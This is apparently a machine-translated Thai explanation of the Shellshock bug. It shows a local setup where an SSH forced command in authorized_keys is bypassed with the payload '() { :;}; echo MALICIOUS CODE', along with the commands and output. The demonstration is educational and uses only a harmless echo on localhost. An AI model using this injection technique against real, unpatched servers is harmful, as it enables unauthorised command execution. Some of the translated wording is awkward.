ตัวอย่างหนึ่งที่สิ่งนี้สามารถถูกโจมตีได้อยู่บนเซิร์ฟเวอร์ที่มีauthorized_keysคำสั่งบังคับ เมื่อเพิ่มรายการ~/.ssh/authorized_keysคุณสามารถใส่คำนำหน้าบรรทัดด้วยcommand="foo"เพื่อบังคับfooให้รันทุกครั้งที่ใช้คีย์สาธารณะ ssh ด้วยการใช้ประโยชน์นี้หากเชลล์ของผู้ใช้เป้าหมายถูกตั้งค่าเป็นbashพวกเขาสามารถใช้ประโยชน์จากการหาประโยชน์จากการเรียกใช้สิ่งอื่นนอกเหนือจากคำสั่งที่พวกเขาถูกบังคับให้
นี่อาจเป็นตัวอย่างที่ดีกว่าดังนั้นนี่คือตัวอย่าง:
sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser
ที่นี่เราตั้งค่าผู้ใช้testuserที่บังคับให้การเชื่อมต่อ SSH ใด ๆ โดยใช้คีย์ SSH echo starting sleep; sleep 1ของคุณทำงาน
เราสามารถทดสอบสิ่งนี้ด้วย:
$ ssh testuser@localhost echo something else
starting sleep
โปรดสังเกตว่าเราecho something elseไม่ได้รับการเรียกใช้ แต่starting sleepแสดงให้เห็นว่าคำสั่งบังคับทำงาน
ตอนนี้ให้แสดงวิธีใช้ประโยชน์จากนี้:
$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep
ใช้งานได้เนื่องจากsshdตั้งค่าSSH_ORIGINAL_COMMANDตัวแปรสภาพแวดล้อมเป็นคำสั่งที่ส่งผ่าน ดังนั้นถึงแม้ว่าจะsshdวิ่งsleepและไม่ใช่คำสั่งที่ฉันบอกให้เพราะการโกงรหัสของฉันยังคงทำงาน